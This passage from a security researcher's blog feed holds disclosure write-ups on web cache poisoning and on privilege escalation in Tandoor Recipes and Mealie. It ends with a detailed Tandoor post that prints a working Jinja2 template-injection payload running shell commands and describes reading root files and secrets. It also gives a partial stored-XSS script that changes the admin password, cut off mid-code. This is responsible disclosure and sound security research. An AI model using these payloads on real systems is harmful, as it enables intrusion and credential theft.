<p>However, I was astonished by the huge amount of exploitable cache poisoned denial of service. I tested responsibly with cache busters to avoid interfering with benign users. However, exploiting many of the found DoS vulnerabilities would render many <em>widely popular</em> SaaS and PaaS products inaccessible. Even more critical are the DoS vulnerabilities in the health (Want to book a doctors appointment? Nope, 403.) and financial (Want to look at your funds? Hmm sorry 412.) sectors. Sadly, though, DoS is not applicable to most bug bounty programs. I reported many anyway, not expecting a bounty, but hoping for thankfulness and fixes. However, I was ghosted, or they said &ldquo;no impact&rdquo; (well, if your website is unavailable for 30+ minutes after being poisoned, and poisoning can be repeated every 30+ minutes&hellip; I guess availability is not business critical for you then?). Hence, after some time, I stopped looking for DoS and only looked for content reflection in the hope of finding XSS or an open redirect. The independent instances of DoS (counting cloud products, such as SaaS and PaaS, only once) were over 600. So, if you visit a website and receive an error response (or even a strange 200 OK response, looking at you, Next.js), check to see if you have a cached response!</p>
<p>I improved my automation so that it looks for new subdomains every day using Chaos and scans them with WCVS. I would like to add one more automation. A notification when a report contains content reflection. Then, I would only need to look at a JSON report if I received a notification. I will not further investigate Cache Poisoned Denial of Service. Technically, it really excites me, and there is still a lot to explore and new techniques to invent. However, the lack of appreciation I received for the instances I reported was not worth the time I invested.</p>
<p>Throughout the project, I made many improvements to <a href="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner">WCVS</a>, which will be released in version 2.0 soon [Edit: <a href="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner/releases">version 2.0 is released!</a>]. This even resulted in a complete overhaul of the network logic to enable sending requests that violate RFCs, which is not possible with the default Golang net library :) If you know of any web cache poisoning techniques that haven&rsquo;t been implemented yet, let me know.</p>
]]></content></item><item><title>Continuous Checks are Important - Privilege Escalation in Tandoor Recipes</title><link>https://m10x.de/posts/2025/08/continuous-checks-are-important-privilege-escalation-in-tandoor-recipes/</link><pubDate>Sat, 02 Aug 2025 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2025/08/continuous-checks-are-important-privilege-escalation-in-tandoor-recipes/</guid><description>Tandoor Recipes 2.0.0-alpha-1 is vulnerable to privilege escalation. This is due to the rework of the API, which resulted in the User Profile API Endpoint containing two boolean values indicating whether a user is staff or administrative. Consequently, any user can escalate their privileges to the highest level.
This vulnerable version was released soon after I published the second part of my series, &amp;lsquo;All Your Recipe Are Belong to Us&amp;rsquo;, in which I tested - among others - Tandoor Recipes for vulnerabilities.</description><content type="html"><![CDATA[<p>Tandoor Recipes 2.0.0-alpha-1 is vulnerable to privilege escalation. This is due to the rework of the API, which resulted in the User Profile API Endpoint containing two boolean values indicating whether a user is staff or administrative. Consequently, any user can escalate their privileges to the highest level.</p>
<p>This vulnerable version was released soon after I published the second part of my series, &lsquo;All Your Recipe Are Belong to Us&rsquo;, in which I tested - among others - <a href="/posts/2025/01/all-your-recipe-are-belong-to-us-part-2/3-server-side-template-injection-rce-arbitrary-file-read-and-unrestricted-file-upload-stored-xss-in-tandoor-recipes/">Tandoor Recipes for vulnerabilities</a>. This highlights the importance of continuous checks!</p>
<h2 id="overview-of-the-vulnerabilities">Overview of the Vulnerabilities</h2>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Name</th>
<th>CVSS Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2025-57396</td>
<td>Privilege Escalation</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:I/C:H/I:H/A:H">8.8 High</a></td>
</tr>
</tbody>
</table>
<h2 id="remediation">Remediation</h2>
<p>The maintainer reacted quickly and professionally. The vulnerability has been fixed in Tandoor Recipes version <a href="https://github.com/TandoorRecipes/recipes/releases/tag/2.0.0-alpha-2">2.0.0-alpha-2</a>.</p>
<h2 id="vulnerabilities-in-detail">Vulnerabilities in Detail</h2>
<h3 id="cve-2025-57396-privilege-escalation-88-high">[CVE-2025-57396] Privilege Escalation (8.8 High)</h3>
<p>Users are allowed to update their names:</p>
<p><img alt="Tandoor1" src="/media/2025/08/tandoor1.png"></p>
<p>In this case the following API Call was sent:</p>
<p><img alt="Tandoor2" src="/media/2025/08/tandoor2.png"></p>
<p>The regular user is able to modify the parameters is_staff and is_superuser to true, in order to grant themself those privileges:</p>
<p><img alt="Tandoor3" src="/media/2025/08/tandoor3.png"></p>
<p>Thus, the user has now the staff and admin privileges (just as already revealed by the previous api response)</p>
<p><img alt="Tandoor4" src="/media/2025/08/tandoor4.png"></p>
<h2 id="timeline">Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2025-04-07</td>
<td>Discovered and reported the vulnerability</td>
</tr>
<tr>
<td>2025-04-09</td>
<td>Maintainer acknowledged the vulnerabilities thankfully</td>
</tr>
<tr>
<td>2025-04-18</td>
<td>Maintainer fixed the privilege escalation in version 2.0.0-alpha-2</td>
</tr>
</tbody>
</table>
]]></content></item><item><title>All Your Recipe Are Belong to Us (Part 3/3) - Broken Access Controls Leading to Privilege Escalation and More in Mealie</title><link>https://m10x.de/posts/2025/03/all-your-recipe-are-belong-to-us-part-3/3-broken-access-controls-leading-to-privilege-escalation-and-more-in-mealie/</link><pubDate>Tue, 25 Mar 2025 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2025/03/all-your-recipe-are-belong-to-us-part-3/3-broken-access-controls-leading-to-privilege-escalation-and-more-in-mealie/</guid><description>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&amp;hellip;) to &amp;ldquo;speed pentest&amp;rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.
Among them is the recipe manager that I personally use and that gave me the idea for this project: Mealie. Mealie offers &amp;ldquo;Recipe Management For The Modern Household&amp;rdquo; and had &amp;gt;7500 stars at the time of testing. Since Mealie introduced new features and many code changes with version 2.</description><content type="html"><![CDATA[<p>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&hellip;) to &ldquo;speed pentest&rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.</p>
<p>Among them is the recipe manager that I personally use and that gave me the idea for this project: <a href="https://github.com/mealie-recipes/mealie">Mealie</a>. Mealie offers &ldquo;Recipe Management For The Modern Household&rdquo; and had &gt;7500 stars at the time of testing. Since Mealie introduced new features and many code changes with version 2.0.0 only a month ago (10/22/2024), I thought now would be a good time to test it. I found 4 different Broken Access Control vulnerabilities that can be used for privilege escalation. All 4 vulnerabilities were found in version 2.2.0, although they are most likely present in Mealie since version 2.0.0 or even earlier.</p>
<h2 id="overview-of-the-vulnerabilities">Overview of the Vulnerabilities</h2>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Name</th>
<th>CVSS Score</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55073">CVE-2024-55073</a></td>
<td>Users can edit their own profile in order to give themselves more permissions or to change their household</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L">7.6 High</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55072">CVE-2024-55072</a></td>
<td>Group managers can give themselves more permissions</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L">5.4 Medium</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55071">CVE-2024-55071</a></td>
<td>Not fixed yet :)</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L">4.2 Medium</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55070">CVE-2024-55070</a></td>
<td>Users can share recipes of other groups</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N">3.1 Low</a></td>
</tr>
</tbody>
</table>
<h2 id="remediation">Remediation</h2>
<p>The three disclosed vulnerabilities have been fixed in version <a href="https://github.com/mealie-recipes/mealie/releases/tag/v2.5.0">2.5.0</a>. One undisclosed vulnerability has not yet been fixed.</p>
<h2 id="vulnerabilities-in-detail">Vulnerabilities in Detail</h2>
<h3 id="cve-2024-55073-users-can-edit-their-own-profile-in-order-to-give-themselves-more-permissions-or-to-change-their-household-76-high">[CVE-2024-55073] Users can edit their own profile in order to give themselves more permissions or to change their household (7.6 High)</h3>
<p>Users are allowed to edit their own profile:</p>
<p><img alt="Mealie1" src="/media/2025/03/mealie1.png"></p>
<p>Upon clicking &ldquo;Update&rdquo;, the following API call is sent:</p>
<p><img alt="Mealie2" src="/media/2025/03/mealie2.png"></p>
<p>As one can see, the API call contains not only the Username, Full Name and Email, but also a few more attributes such as multiple permissions (canXXX) as well as the householdId the user is belonging to. The current user is not allowed to Invite, Manage nor Organize. However, the &ldquo;cans&rdquo; can be changed to true, as well as the householdId set to another one:</p>
<p><img alt="Mealie3" src="/media/2025/03/mealie3.png"></p>
<p>Mealie succesfully updates those values. Both of these actions can normally only be done by an administrator.
Thus, we&rsquo;ve escalated our privileges as well as changed our household. The following screenshot shows, that User2 now belong to Household1 instead of Household2 and that User2 is allowed to Manage the household&rsquo;s members</p>
<p><img alt="Mealie4" src="/media/2025/03/mealie4.png"></p>
<p>Getting the id of another household in order to switch to another household is trivial, as one can see all householdIds of the current group.</p>
<p><img alt="Mealie41" src="/media/2025/03/mealie41.png"></p>
<p>On a positive note, it was not possible to escalate privileges to administrator or to change to another group.<br>
Nonetheless, we are able to manage households and their members, to invite Members, to organize as well as to take a look/modify/delete other households receipes and shopping lists by switching to that household.</p>
<h3 id="cve-2024-55072-group-managers-can-give-themselves-more-permissions-54-medium">[CVE-2024-55072] Group managers can give themselves more permissions (5.4 Medium)</h3>
<p>Group managers are not allowed to change their own permissions:</p>
<p><img alt="Mealie5" src="/media/2025/03/mealie5.png"></p>
<p>When a group manager changes a permission of another group member, an API call is issued to the API endpoint <code>PUT /api/households/permissions</code>, which contains the userId of the other group member. If this userId is swapped with the group manager&rsquo;s own userId, the group manager can change their own permissions.</p>
<p><img alt="Mealie6" src="/media/2025/03/mealie6.png"></p>
<p>Thus they escalated their privileges:</p>
<p><img alt="Mealie61" src="/media/2025/03/mealie61.png"></p>
<h3 id="cve-2024-55071-not-fixed-yet--52-medium">[CVE-2024-55071] Not fixed yet :) (5.2 Medium)</h3>
<p>&hellip;</p>
<h3 id="cve-2024-55070-users-can-share-recipes-of-other-groups-31-low">[CVE-2024-55070] Users can share recipes of other groups (3.1 Low)</h3>
<p>Users can only see recipes created in their group, unless a recipe is shared and they know the link.
A user can share recipes of his group, leading to a call to the API endpoint <code>POST /api/shared/recipes</code>. By interchanging the recipeId with the recipeId of a recipe which belongs to another group, they are able to share the recipe:</p>
<p><img alt="Mealie7" src="/media/2025/03/mealie7.png"></p>
<p>Thus, they are able to view the recipe, too</p>
<p><img alt="Mealie8" src="/media/2025/03/mealie8.png"></p>
<p>The users of the other group cannot see that the recipe is being shared.</p>
<p><img alt="Mealie9" src="/media/2025/03/mealie9.png"></p>
<p>Normally, the frontend lists all shares of a recipe, but it does not show shares which were issued by users not belonging to that group. Here is an example of what this would  normally look like:</p>
<p><img alt="Mealie81" src="/media/2025/03/mealie81.png"></p>
<h2 id="timeline">Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-11-21</td>
<td>Discovered the vulnerabilities</td>
</tr>
<tr>
<td>2024-11-22</td>
<td>Reported the vulnerabilities</td>
</tr>
<tr>
<td>2024-11-23</td>
<td>Maintainer acknowledged the vulnerabilities</td>
</tr>
<tr>
<td>2024-11-23</td>
<td>CVEs requested</td>
</tr>
<tr>
<td>2024-11-27</td>
<td>CVEs were reserved</td>
</tr>
<tr>
<td>2025-01-22</td>
<td>3 out of 4 vulnerabilities have been fixed</td>
</tr>
</tbody>
</table>
]]></content></item><item><title>All Your Recipe Are Belong to Us (Part 2/3) - Server-Side Template Injection (RCE), Arbitrary File Read and Unrestricted File Upload (Stored XSS) in Tandoor Recipes</title><link>https://m10x.de/posts/2025/01/all-your-recipe-are-belong-to-us-part-2/3-server-side-template-injection-rce-arbitrary-file-read-and-unrestricted-file-upload-stored-xss-in-tandoor-recipes/</link><pubDate>Tue, 28 Jan 2025 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2025/01/all-your-recipe-are-belong-to-us-part-2/3-server-side-template-injection-rce-arbitrary-file-read-and-unrestricted-file-upload-stored-xss-in-tandoor-recipes/</guid><description>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&amp;hellip;) to &amp;ldquo;speed pentest&amp;rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.
This included Tandoor Recipes, which had &amp;gt;5800 stars at the time of testing. Here I found 3 vulnerabilities. The first one is a Server-Side Template Injection, through which it was possible to execute commands on the server (Remote Code Execution).</description><content type="html"><![CDATA[<p>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&hellip;) to &ldquo;speed pentest&rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.</p>
<p>This included <a href="https://github.com/TandoorRecipes/recipes">Tandoor Recipes</a>, which had &gt;5800 stars at the time of testing. Here I found 3 vulnerabilities. The first one is a <em>Server-Side Template Injection</em>, through which it was possible to execute commands on the server (Remote Code Execution). The second one is an <em>arbitrary file read</em> vulnerability, that allowed one to read any file on the server. This can be used to obtain various secrets, such as passwords, SSH keys or the Django secret key. The last one is an <em>Unrestricted File Upload</em>, through which it was possible to upload any files. This included HTML and SVG files to achieve <em>Stored XSS</em>.</p>
<h2 id="overview-of-the-vulnerabilities">Overview of the Vulnerabilities</h2>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Name</th>
<th>CVSS Score</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-23211">CVE-2025-23211</a></td>
<td>Jinja2 Server-Side Template Injection leading to Remote Code Execution</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">9.9 Critical</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-23212">CVE-2025-23212</a></td>
<td>Arbitrary File Read: Users can read the content of arbitrary files on the server</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N">7.7 High</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-23213">CVE-2025-23213</a></td>
<td>Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N">8.7 High</a></td>
</tr>
</tbody>
</table>
<h2 id="remediation">Remediation</h2>
<p>The maintainer reacted quickly and professionally. All three vulnerabilities have been fixed in Tandoor Recipes version <a href="https://github.com/TandoorRecipes/recipes/releases/tag/1.5.28">1.5.28</a>.</p>
<h2 id="vulnerabilities-in-detail">Vulnerabilities in Detail</h2>
<h3 id="cve-2025-23211-jinja2-server-side-template-injection-leading-to-remote-code-execution-99-critical">[CVE-2025-23211] Jinja2 Server-Side Template Injection leading to Remote Code Execution (9.9 Critical)</h3>
<p>Users can create recipes and specify instructions for a recipe. The instructions support Jinja2 Template Expression in order to dynamically update e.g. ingredient names and amounts. As this is implemented insecurely, it is possible to achieve Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE).</p>
<p><img alt="Tandoor1" src="/media/2025/01/tandoor1.png"></p>
<p>The payload <code>{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}</code> executes the command <code>whoami</code> on the server.</p>
<p><img alt="Tandoor2" src="/media/2025/01/tandoor2.png"></p>
<p>As we can see, we can execute commands as the root user!</p>
<p><img alt="Tandoor3" src="/media/2025/01/tandoor3.png"></p>
<p>Reading the environment variables, we can enumerate the Postgres password as well as the <code>SECRET_KEY</code> used by django.</p>
<p>But why is the SSTI payload so long and cryptic?
Getting to the point of achieving RCE wasn&rsquo;t as simple as taking a Hacktricks/PayloadAllTheThings payload and pasting it, but took some time.
This is gonna be a long one, but it&rsquo;s worth it. Trust me.</p>
<p>While this is an open-source project and we could simply look at it&rsquo;s code to see that it is using Jinja2 as template engine, I want to approach it from a black box perspective.</p>
<p>To detect the template injection and to identify the template engine, we gonna use the <a href="https://cheatsheet.hackmanit.de/template-injection-table/index.html">Template Injection Table</a> that I&rsquo;ve created during my master&rsquo;s thesis (I know, shameless plug&hellip;).</p>
<p>First, we&rsquo;ll use the universal polyglot <code>&lt;%'${{/#{@}}%&gt;{{</code> which throws an error for all 44 template engines I&rsquo;ve analyzed.</p>
<p><img alt="Tandoor4" src="/media/2025/01/tandoor4.png"></p>
<p>As we can see, an error is thrown. Unfortunately for us, the error was caught and only a generic error message is displayed. Otherwise Jinja2 would have revealed itself already. So we need to continue identifying the template engine. Since we can see the output of the template engine, we can use the &lsquo;Toggle Error-Based Polyglots&rsquo; button to hide the error-based polyglots, as the non-error-based ones are more efficient for identifying a template engine.</p>
<p><img alt="Tandoor5" src="/media/2025/01/tandoor5.png"></p>
<p>We are goint to use the first three universal non-error-based polyglots in order to filter out possible template engines. E.g. when using the first one <code>p &quot;&gt;[[${{1}}]]</code> we receive the output <code>p &quot;&gt;[[$1]]</code></p>
<p><img alt="Tandoor6" src="/media/2025/01/tandoor6.png"></p>
<p>Just with these three polyglots, we were able to filter out 34 template engines, leaving us with 10 left</p>
<p><img alt="Tandoor7" src="/media/2025/01/tandoor7.png"></p>
<p>Using the specific non-error-based polyglots <code>{#${{1}}#}}</code>, <code>&lt;%=1%&gt;#{2}{{a}}</code> and <code>{{1in[1]}}</code> leaves only Jinja2 as possible template engine!</p>
<p><img alt="Tandoor8" src="/media/2025/01/tandoor8.png"></p>
<p>To exploit the SSTI, we need to create a gadget chain. As a first step for that, we need to be able to access global objects and to recover the <code>&lt;class 'object'&gt;</code>.</p>
<p>However, using the examples from hacktricks, such as <code>[].__class__</code> will result in an error.</p>
<p>So let&rsquo;s check (remember, from a black box perspective) what is happening here. When we use <code>{{ &quot;{{ [].__class__ }}&quot; }}</code> in order to let Jinja2 to just print <code>{{ [].__class__ }}</code> as a string, we see that <code>__</code> is being converted to <code>&lt;strong&gt;</code>.</p>
<p><img alt="Tandoor9" src="/media/2025/01/tandoor9.png"></p>
<p>That&rsquo;s because markdown is allowed as input and being converted to html! This renders a few needed special characters useless.
Among others, we cannot use <code>_</code>, <code>*</code>, <code>`</code>, <code>[]()</code>.</p>
<p>However, there is still a way to achieve RCE (as you already know :)):</p>
<p>We can use hexencoded underscores (<code>\x5f</code>) if we use Jinja2&rsquo;s <code>attr</code> filter.
So instead of <code>{{ [].__class__ }}</code> we are using <code>{{ []|attr('\x5f\x5fclass\x5f\x5f') }}</code></p>
<p><img alt="Tandoor10" src="/media/2025/01/tandoor10.png"></p>
<p>We succesfully accessed the global list object!</p>
<p>The next step is now to recover <code>&lt;class 'object'&gt;</code> with <code>{{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f') }}</code></p>
<p><img alt="Tandoor12" src="/media/2025/01/tandoor12.png"></p>
<p>Done! That&rsquo;s ez, right? However, when we try to recover all subclasses we receive an error!</p>
<p><img alt="Tandoor13" src="/media/2025/01/tandoor13.png"></p>
<p>Otherwise, we would have seen a list of all available subclasses. Nonetheless, we can enumerate specific subclasses with <code>getitem({SUBCLASS_ID})</code>. Let&rsquo;s do that with the first subclass unsing <code>{{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(0) }}</code></p>
<p><img alt="Tandoor14" src="/media/2025/01/tandoor14.png"></p>
<p>The <code>type</code> subclass is not that exciting, right? But what&rsquo;s exciting is the <code>subprocess.Popen</code> subclass, because it allows us to run arbitrary commands on the server! However, there are hundreds if not thousands of subclasses available.</p>
<p><img alt="Tandoor15" src="/media/2025/01/tandoor15.png"></p>
<p>So let&rsquo;s bruteforce the right id.</p>
<p><img alt="Tandoor16" src="/media/2025/01/tandoor16.png"></p>
<p>We can see that <code>subprocess.Popen</code> has the id 418!</p>
<p><img alt="Tandoor17" src="/media/2025/01/tandoor17.png"></p>
<p>Now we can use that to create our final payload which we can use to run arbitrary commands on the server: <code>{{[]|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}</code></p>
<p>(The <code>|attr('decode')('utf-8')</code> pipe makes sure that the output is properly formatted, so that not everything is embedded between <code>'</code> and <code>'&gt;</code>&hellip;)</p>
<h3 id="cve-2025-23212-arbitrary-fileread-users-can-read-the-content-of-arbitrary-files-on-the-server-77-high">[CVE-2025-23212] Arbitrary Fileread: Users can read the content of arbitrary files on the server (7.7 High)</h3>
<p>Every user has access to &ldquo;External Recipes&rdquo;, where they can manage storage folder locations.</p>
<p><img alt="Tandoor18" src="/media/2025/01/tandoor18.png"></p>
<p>So let&rsquo;s configure an <em>external storage</em>.</p>
<p><img alt="Tandoor19" src="/media/2025/01/tandoor19.png"></p>
<p>We can create a new <em>Storage Backend</em>.</p>
<p><img alt="Tandoor20" src="/media/2025/01/tandoor20.png"></p>
<p>Here we choose <em>Local</em> as Method and specify an arbitrary name, e.g. <em>Insecure</em></p>
<p><img alt="Tandoor21" src="/media/2025/01/tandoor21.png"></p>
<p>Now, back at the <em>External Recipes</em> page, we can choose the just created local storage and specify a path.</p>
<p><img alt="Tandoor22" src="/media/2025/01/tandoor22.png"></p>
<p>If we specfiy a path which does not exist on the server and try to sync the folder, we receive a <code>FileNotFoundError</code></p>
<p><img alt="Tandoor23" src="/media/2025/01/tandoor23.png"></p>
<p>Now let&rsquo;s specify <code>/root</code> as path and sync again</p>
<p><img alt="Tandoor24" src="/media/2025/01/tandoor24.png"></p>
<p>We can see the filenames of all files the root directory contains! If it is a pdf file, we can view it in the frontend after importing it as a recipe.</p>
<p><img alt="Tandoor25" src="/media/2025/01/tandoor25.png"></p>
<p>Files which are not PDF files, won&rsquo;t get shown by the frontend. However, we can use the API endpoint <code>GET /api/get_recipe_file/{ID}/</code> in order to receive the contents.</p>
<p><img alt="Tandoor26" src="/media/2025/01/tandoor26.png"></p>
<p>In this case, we can see the content of the <code>/root/.ash_history</code> file, which contains the commands the root user ran.</p>
<h3 id="cve-2025-23213-unrestricted-file-upload-users-can-upload-html-or-svg-files-to-exploit-stored-xss-87-high">[CVE-2025-23213] Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS (8.7 High)</h3>
<p>Tandoor has a file upload functionality that every user is allowed to use.
Here is a Proof-of-Concept (PoC) HTML file which can be uploaded in order to change the password of the admin user, if they view it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Automated Request&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">h1</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status&#34;</span>&gt;Loading...&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Function to perform the GET request to fetch the CSRF token
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">fetchCsrfToken</span>() {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;/admin/auth/user/1/password/&#39;</span>, {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;GET&#39;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;include&#39;</span> <span style="color:#75715e">// Include cookies for authentication
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                });
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">text</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">text</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Check if the response contains the &#34;not authorized&#34; message
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">text</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#39;not authorized to access this page&#39;</span>)) {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> Error(<span style="color:#e6db74">&#39;not authorized&#39;</span>);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Extract the CSRF token from the response using a regular expression
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">csrfTokenMatch</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">text</span>.<span style="color:#a6e22e">match</span>(<span style="color:#e6db74">/&lt;input type=&#34;hidden&#34; name=&#34;csrfmiddlewaretoken&#34; value=&#34;(.*?)&#34;&gt;/</span>);
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">csrfTokenMatch</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">csrfTokenMatch</span>[<span style="color:#ae81ff">1</span>]) {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">csrfTokenMatch</span>[<span style="color:#ae81ff">1</span>]; <span style="color:#75715e">// Return the extracted CSRF token
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> Error(<span style="color:#e6db74">&#39;CSRF token not found&#39;</span>);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">throw</span> <span style="color:#a6e22e">error</span>; <span style="color:#75715e">// Propagate the error to handle it in the main function
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Function to perform the POST request to update the password
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">changePassword</span>(<span style="color:#a6e22e">csrfToken</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">formData</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URLSearchParams</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">formData</span>.<span style="color:#a6e22e">append</span>(<span style="color:#e6db74">&#39;csrfmiddlewaretoken&#39;</span>, <span style="color:#a6e22e">csrfToken</span>);
